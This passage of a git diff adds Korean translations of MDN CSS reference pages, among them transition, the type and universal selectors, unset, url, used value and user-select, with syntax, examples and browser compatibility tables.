+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("2.0")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 {{property_prefix("-o")}}<br>
+    12.10<sup>[2]</sup></td>
+   <td>3.2 {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In addition to the unprefixed support, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the property for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p>
+
+<p>[2] See <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">blog post about Opera 12.50</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">Using CSS transitions</a></li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/ko/web/css/transition/index.html b/files/ko/web/css/transition/index.html
new file mode 100644
index 0000000000..039bedc362
--- /dev/null
+++ b/files/ko/web/css/transition/index.html
@@ -0,0 +1,150 @@
+---
+title: transition
+slug: Web/CSS/transition
+translation_of: Web/CSS/transition
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p><strong><code>transition</code></strong> <a href="/en/CSS" title="CSS">CSS </a>속성은 {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }} 과 {{ cssxref("transition-delay") }}를 위한 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다. 이 속성으로 엘리먼트의 두 가지 상태 사이에 변화를 줄 수 있습니다. 엘리먼트의 각 상태는 <a href="/ko/docs/Web/CSS/Pseudo-classes">가상 클래스</a> 를 사용해 정의된 {{cssxref(":hover")}} 이나 {{cssxref(":active")}} 또는 자바스크립트를 사용해 동적으로 만들어진 것들입니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css">/* Apply to 1 property */
+/* property name | duration */
+transition: margin-left 4s;
+
+/* property name | duration | delay */
+transition: margin-left 4s 1s;
+
+/* property name | duration | timing function | delay */
+transition: margin-left 4s ease-in-out 1s;
+
+/* Apply to 2 properties */
+transition: margin-left 4s, color 1s;
+
+/* Apply to all changed properties */
+transition: all 0.5s ease-out;
+
+/* Global values */
+transition: inherit;
+transition: initial;
+transition: unset;
+</pre>
+
+<p>이 속성에서 각 항목의 순서는 중요합니다: 시간으로 해석될 수 있는 값이 첫번째에 위치한다면 {{cssxref("transition-duration")}} 로 적용되고, 두번째에 위치한다면 {{cssxref("transition-delay")}} 로 적용됩니다.</p>
+
+<p>속성값 목록이 알맞은 길이를 갖지 않는다면 어떻게 처리될지 궁금하다면 <a href="/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions#속성값_목록이_다른_개수를_가진_경우">속성값 목록이 다른 개수를 가진 경우</a>를 참고하세요. 요컨대, 실제 속성의 개수보다 많이 기술된 것은 무시됩니다.</p>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">CSS 트랜지션 사용하기</a> 에 다양한 CSS transition 예제가 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-shorthand-property', 'transition') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 {{ property_prefix("-webkit") }}<br>
+    26.0 <a href="http://googlechromereleases.blogspot.com/2013/03/stable-channel-update_26.html" title="Released on March 26, 2013">#</a></td>
+   <td>{{ CompatGeckoDesktop("2.0") }} {{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}<sup>[1]</sup></td>
+   <td>10.0</td>
+   <td>10.1 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="Released on August 3, 2012">#</a></td>
+   <td>3.0 {{ property_prefix("-webkit") }}<br>
+    6.1</td>
+  </tr>
+  <tr>
+   <td>Gradients<sup>[2]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("2.0") }} {{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}<sup>[1]</sup></td>
+   <td>10.0</td>
+   <td>10.0 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.2 {{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td>Gradients<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In addition to the unprefixed support, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the property for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p>
+
+<p>[2] <a href="http://www.quirksmode.org/css/transitions/properties.html#t031">PPK test</a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transitions" title="en/CSS/CSS transitions">Using CSS transitions</a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/ko/web/css/type_selectors/index.html b/files/ko/web/css/type_selectors/index.html
new file mode 100644
index 0000000000..bcaf47c8b1
--- /dev/null
+++ b/files/ko/web/css/type_selectors/index.html
@@ -0,0 +1,86 @@
+---
+title: 유형 선택자
+slug: Web/CSS/Type_selectors
+tags:
+  - CSS
+  - HTML
+  - Node
+  - Reference
+  - Selectors
+  - 선택자
+translation_of: Web/CSS/Type_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>유형 선택자</strong>는 노드 이름을 사용해 요소를 선택합니다. 즉 문서 내에서 주어진 유형의 모든 요소를 선택합니다.</p>
+
+<pre class="brush: css notranslate">/* All &lt;a&gt; elements. */
+a {
+  color: red;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">element { <em>style properties</em> }
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">span {
+  background-color: DodgerBlue;
+  color: #ffffff;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;span&gt;텍스트를 가진 span입니다.&lt;/span&gt;
+&lt;p&gt;텍스트를 가진 p입니다.&lt;/p&gt;
+&lt;span&gt;또 다시 텍스트를 가진 span입니다.&lt;/span&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 200, 150)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.type")}}</p>
diff --git a/files/ko/web/css/universal_selectors/index.html b/files/ko/web/css/universal_selectors/index.html
new file mode 100644
index 0000000000..3987c92504
--- /dev/null
+++ b/files/ko/web/css/universal_selectors/index.html
@@ -0,0 +1,105 @@
+---
+title: 전체 선택자
+slug: Web/CSS/Universal_selectors
+tags:
+  - CSS
+  - Reference
+  - Selectors
+translation_of: Web/CSS/Universal_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>전체 선택자</strong>(<code>*</code>)는 모든 형태의 모든 요소를 선택합니다.</p>
+
+<pre class="brush: css notranslate">/* Selects all elements */
+* {
+  color: green;
+}
+</pre>
+
+<p>CSS 3부터는 별표를 {{cssxref("CSS_Namespaces", "네임스페이스")}}와 함께 사용할 수 있습니다.</p>
+
+<ul>
+ <li><code>ns|*</code> - 네임스페이스 ns 안의 모든 요소 선택</li>
+ <li><code>*|*</code> - 모든 요소 선택</li>
+ <li><code>|*</code> - 네임스페이스 없는 모든 요소 선택</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">* { <em>style properties</em> }</pre>
+
+<p>단순 선택자에서 별표는 선택사항입니다. 즉 <code>*.warning</code>과 <code>.warning</code>은 같습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">* [lang^=en] {
+  color: green;
+}
+
+*.warning {
+  color: red;
+}
+
+*#maincontent {
+  border: 1px solid blue;
+}
+
+.floating {
+  float: left
+}
+
+/* automatically clear the next sibling after a floating element */
+.floating + * {
+  clear: left;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p class="warning"&gt;
+  &lt;span lang="en-us"&gt;A green span&lt;/span&gt; in a red paragraph.
+&lt;/p&gt;
+&lt;p id="maincontent" lang="en-gb"&gt;
+  &lt;span class="warning"&gt;A red span&lt;/span&gt; in a green paragraph.
+&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>변화 없음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>네임스페이스에 관한 행동이 정의되고 선택자 생략이 가상 요소 내에서 허용된다는 힌트가 추가됨</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.universal")}}</p>
diff --git a/files/ko/web/css/unset/index.html b/files/ko/web/css/unset/index.html
new file mode 100644
index 0000000000..f7e45d99da
--- /dev/null
+++ b/files/ko/web/css/unset/index.html
@@ -0,0 +1,120 @@
+---
+title: unset
+slug: Web/CSS/unset
+tags:
+  - CSS
+  - CSS Cascade
+  - Layout
+  - Reference
+translation_of: Web/CSS/unset
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS <strong><code>unset</code></strong> 키워드를 적용한 속성은, 부모로부터 상속할 값이 존재하면 상속값을, 그렇지 않다면 <a href="/ko/docs/Web/CSS/initial_value">초깃값</a>을 사용합니다.</span> 다르게 표현하자면, 전자일 땐 {{cssxref("inherit")}} 키워드처럼, 후자일 땐 {{cssxref("initial")}} 키워드처럼 동작합니다. {{cssxref("all")}} 단축 속성을 포함한 모든 속성에 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="글자_색">글자 색</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This text is red.&lt;/p&gt;
+&lt;div class="foo"&gt;
+  &lt;p&gt;This text is also red.&lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="bar"&gt;
+  &lt;p&gt;This text is green (default inherited value).&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.foo {
+  color: blue;
+}
+.bar {
+  color: green;
+}
+
+p {
+  color: red;
+}
+.bar p {
+  color: unset;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('글자_색') }}</p>
+
+<h3 id="테두리">테두리</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This text has a red border.&lt;/p&gt;
+&lt;div&gt;
+  &lt;p&gt;This text has a red border.&lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="bar"&gt;
+  &lt;p&gt;This text has has a black border (initial default, not inherited).&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">div {
+  border: 1px solid green;
+}
+
+p {
+  border: 1px solid red;
+}
+
+.bar p {
+  border-color: unset;
+}
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('테두리', 'auto', 200) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Cascade', '#inherit-initial', 'unset') }}</td>
+   <td>{{ Spec2('CSS4 Cascade') }}</td>
+   <td>Level 3에서 변화 없음</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Cascade', '#unset', 'unset') }}</td>
+   <td>{{ Spec2('CSS3 Cascade') }}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.global_keywords.unset")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("initial")}}을 사용해 속성의 초깃값을 사용하세요.</li>
+ <li>{{cssxref("revert")}}를 사용해 사용자 에이전트가 지정한 값(또는 사용자가 수정한 값)으로 속성을 되돌리세요.</li>
+ <li>{{cssxref("inherit")}}을 사용해 속성의 값이 부모와 같도록 지정하세요.</li>
+ <li>{{cssxref("all")}} 속성을 사용하면 요소의 모든 속성을 한꺼번에 <code>initial</code>, <code>inherit</code>, <code>revert</code>, <code>unset</code>할 수 있습니다.</li>
+</ul>
diff --git a/files/ko/web/css/url/index.html b/files/ko/web/css/url/index.html
new file mode 100644
index 0000000000..e4969a7e1a
--- /dev/null
+++ b/files/ko/web/css/url/index.html
@@ -0,0 +1,79 @@
+---
+title: <url>
+slug: Web/CSS/url
+tags:
+  - CSS
+  - CSS Data Type
+  - Layout
+  - Reference
+translation_of: Web/CSS/url
+---
+<div>{{ CssRef() }}</div>
+
+<p><strong><code>&lt;url&gt;</code></strong> <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <a href="/en-US/docs/Web/CSS/CSS_Types">자료형</a>은 이미지나 글꼴 등 리소스를 가리키는 문자열을 나타냅니다. URL은 {{ Cssxref("background-image") }}, {{ Cssxref("cursor") }}, {{ cssxref("list-style") }} 등 다양한 속성에서 사용할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>URI와 URL</strong> <a class="external" href="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier" title="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier">URI</a>와 <a class="external" href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator" title="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">URL</a>은 다릅니다. URI는 단순히 리소스의 식별자입니다. URL은 URI의 종류 중 하나로, 리소스의 <u>위치</u>를 표현합니다. URI는 URL일 수도 있고, 리소스의 이름(<a class="external" href="http://en.wikipedia.org/wiki/Uniform_Resource_Name" title="http://en.wikipedia.org/wiki/Uniform_Resource_Name">URN</a>)일 수도 있습니다.</p>
+
+<p>CSS Level 1의 <code>url()</code> 함수형 표기법은 순수 URL을 나타낼 때만 사용했고, CSS Level 2에서 범위가 늘어나 URL이나 URN 등 어떤 URI도 사용할 수 있도록 바뀌었습니다. 이로써 <code>url()</code>을 사용해 <code>&lt;uri&gt;</code> CSS 자료형을 표현할 수 있었는데, 이상한 방식인데다 실제 CSS에서 URN은 거의 사용하지 않았으므로 불필요하다고 생각할만한 점이었습니다. CSS3에서는 혼란을 잠재우기 위해 초기의 더 좁은 정의로 돌아갔기 때문에 이제 <code>url()</code>은 <code>&lt;url&gt;</code>만을 나타낼 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;url&gt;</code> 자료형은 <code>url()</code> 함수형 표기법을 사용해 설정합니다. 따옴표는 선택사항으로 작은따옴표, 큰따옴표 둘 다 사용할 수 있습니다. 상대 URL도 사용할 수 있으며, 웹페이지의 URL이 아닌 스타일시트의 URL을 기준으로 사용합니다.</p>
+
+<pre class="syntaxbox">&lt;a_css_property&gt;: url("http://mysite.example.com/mycursor.png")
+&lt;a_css_property&gt;: url('http://mysite.example.com/mycursor.png')
+&lt;a_css_property&gt;: url(http://mysite.example.com/mycursor.png)
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> Firefox 15부터, <span id="summary_alias_container"><span id="short_desc_nonedit_display">0x7e을 초과하는 제어 문자는 URL을 따옴표로 둘러싸야 유요합니다. 자세한 내용은</span></span> {{Bug(752230)}}을 참고하세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">.topbanner {
+  background: url("topbanner.png") #00D no-repeat fixed;
+}
+</pre>
+
+<pre class="brush: css">ul {
+  list-style: square url(http://www.example.com/redball.png);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Values', '#urls', '&lt;url&gt;') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>No significant change from CSS Level 2 (Revision 1).</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS2.1', 'syndata.html#uri', '&lt;uri&gt;') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No significant change from CSS Level 1.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#url', '&lt;url&gt;') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.url")}}</p>
diff --git a/files/ko/web/css/used_value/index.html b/files/ko/web/css/used_value/index.html
new file mode 100644
index 0000000000..7e730820c0
--- /dev/null
+++ b/files/ko/web/css/used_value/index.html
@@ -0,0 +1,127 @@
+---
+title: 사용값
+slug: Web/CSS/used_value
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/used_value
+---
+<div>{{cssref}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>사용값</strong>은 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>에 모든 계산을 수행한 후의 결과 값입니다.</p>
+
+<p>모든 CSS 속성은 {{glossary("user agent", "사용자 에이전트")}}가 계산을 끝낸 후 사용값을 가집니다. 크기({{cssxref("width")}}, {{cssxref("line-height")}} 등)는 픽셀 단위로 정해집니다. 단축 속성({{cssxref("background")}} 등)의 값은 그 구성요소({{cssxref("background-color")}}, {{cssxref("background-size")}} 등)와 {{cssxref("position")}}, {{cssxref("float")}}이 가질 값과 일치합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> {{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API는 <a href="/ko/docs/Web/CSS/resolved_value">결정값</a>을 반환합니다. 결정값은 속성에 따라 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>일 수도, 사용값일 수도 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 요소 세 개 <code>width</code> 속성의 사용값을 계산하고 보여줍니다. (창 크기 조절 시 업데이트)</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="no-width"&gt;
+  &lt;p&gt;No explicit width.&lt;/p&gt;
+  &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+
+  &lt;div id="width-50"&gt;
+    &lt;p&gt;Explicit width: 50%.&lt;/p&gt;
+    &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+
+    &lt;div id="width-inherit"&gt;
+      &lt;p&gt;Explicit width: inherit.&lt;/p&gt;
+      &lt;p class="show-used-width"&gt;..&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#no-width {
+  width: auto;
+}
+
+#width-50 {
+  width: 50%;
+}
+
+#width-inherit {
+  width: inherit;
+}
+
+/* Make results easier to see */
+div {
+  border: 1px solid red;
+  padding: 8px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function updateUsedWidth(id) {
+  var div = document.querySelector(`#${id}`);
+  var par = div.querySelector('.show-used-width');
+  var wid = window.getComputedStyle(div)["width"];
+  par.textContent = `Used width: ${wid}.`;
+}
+
+function updateAllUsedWidths() {
+  updateUsedWidth("no-width");
+  updateUsedWidth("width-50");
+  updateUsedWidth("width-inherit");
+}
+
+updateAllUsedWidths();
+window.addEventListener('resize', updateAllUsedWidths);
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '80%', 372) }}</p>
+
+<h2 id="계산값과의_차이">계산값과의 차이</h2>
+
+<p>CSS 2.0은 속성의 계산에서 마지막 단계로 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>만 정의했고, 그 다음 CSS 2.1에서 사용값의 분명한 정의를 도입했습니다. 덕분에, 부모의 너비/높이 계산값이 백분율이더라도 상속받을 수 있게 됐습니다. 레이아웃에 의존하지 않는 CSS 속성(가령, <code>display</code>, <code>font-size</code>, <code>line-height</code>)의 경우, 계산값과 사용값은 같습니다. 다음은 레이아웃에 의존하는 CSS 2.1 속성으로, 계산값과 사용값이 다릅니다. (<a href="https://www.w3.org/TR/CSS2/changes.html#q21.36">CSS 2.1 Changes: Specified, computed, and actual values</a>에서 가져옴)</p>
+
+<ul>
+ <li><code>background-position</code></li>
+ <li><code>bottom</code>, <code>left</code>, <code>right</code>, <code>top</code></li>
+ <li><code>height</code>, <code>width</code></li>
+ <li><code>margin-bottom</code>, <code>margin-left</code>, <code>margin-right</code>, <code>margin-top</code></li>
+ <li><code>min-height</code>, <code>min-width</code></li>
+ <li><code>padding-bottom</code>, <code>padding-left</code>, <code>padding-right</code>, <code>padding-top</code></li>
+ <li><code>text-indent</code></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.2", "cascade.html#used-value", "used value")}}</td>
+   <td>{{Spec2("CSS2.2")}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#used-value", "used value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/user-select/index.html b/files/ko/web/css/user-select/index.html
new file mode 100644
index 0000000000..fde0e2cc88
--- /dev/null
+++ b/files/ko/web/css/user-select/index.html
@@ -0,0 +1,123 @@
+---
+title: user-select
+slug: Web/CSS/user-select
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/user-select
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <code><strong>user-select</strong></code> 속성은 사용자가 텍스트를 선택할 수 있는지 지정합니다.</p>
+
+<pre class="brush:css notranslate">/* 키워드 값 */
+user-select: none;
+user-select: auto;
+user-select: text;
+user-select: contain;
+user-select: all;
+
+/* 전역 값 */
+user-select: inherit;
+user-select: initial;
+user-select: unset;
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>이 요소와 아래 요소의 텍스트를 선택하지 못하도록 막습니다. 단 {{domxref("Selection")}} 객체는 <code>none</code>인 요소(와 그 아래)를 포함할 수 있습니다.</dd>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p><code>auto</code>의 사용값은 아래와 같이 결정됩니다.</p>
+
+ <ul>
+  <li><code>::before</code>와 <code>::after</code> 의사 요소의 사용값은 <code>none</code>입니다.</li>
+  <li>편집 가능한 요소의 사용값은 <code>contain</code>입니다.</li>
+  <li>그렇지 않고, 부모 요소 <code>user-select</code>의 사용값이 <code>all</code>이면 이 요소의 사용값도 <code>all</code>입니다.</li>
+  <li>그렇지 않고, 부모 요소 <code>user-select</code>의 사용값이 <code>none</code>이면 이 요소의 사용값도 <code>none</code>입니다.</li>
+  <li>그렇지 않으면 사용값은 <code>text</code>입니다.</li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>사용자가 텍스트를 선택할 수 있습니다.</dd>
+ <dt><code>all</code></dt>
+ <dd>요소의 콘텐츠가 원자적으로 선택됩니다. 즉 선택 범위는 이 요소와 그 아래의 자손 전체를 포함해야 하며 일부만 담을 수는 없습니다. 하위 요소에서 더블 클릭이나 콘텍스트 클릭이 발생한 경우, <code>all</code>을 지정한 조상 요소 중 제일 상위 요소를 선택합니다.</dd>
+ <dt><code>contain</code></dt>
+ <dd>선택의 시작을 이 요소 안에서 한 경우, 범위가 요소 바깥으로 벗어날 수 없습니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;You should be able to select this text.&lt;/p&gt;
+&lt;p class="unselectable"&gt;Hey, you can't select this text!&lt;/p&gt;
+&lt;p class="all"&gt;Clicking once will select all of this text.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.unselectable {
+  -moz-user-select: none;
+  -webkit-user-select: none;
+  -ms-user-select: none;
+  user-select: none;
+}
+
+.all {
+  -moz-user-select: all;
+  -webkit-user-select: all;
